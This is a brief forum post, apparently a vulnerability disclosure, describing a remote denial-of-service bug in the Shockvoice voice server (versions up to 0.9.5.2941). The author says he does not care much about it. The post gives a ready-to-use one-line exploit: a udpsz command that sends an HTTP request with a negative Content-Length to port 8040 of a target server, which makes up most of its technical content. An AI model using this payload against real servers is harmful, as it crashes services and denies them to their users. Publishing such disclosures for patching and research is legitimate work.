I found the following bug one month ago but I don't care about it because I don't know how much used is this application and it's only a DoS:
Code:
Application: Shockvoice
http://www.shockvoice.net
Versions: <= v0.9.5.2941
Platforms: Windows and Linux
Bug: Denial of Service
Exploitation: remote, versus server
udpsz -c "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: -1\r\n\r\nbye" SERVER 8040 -1
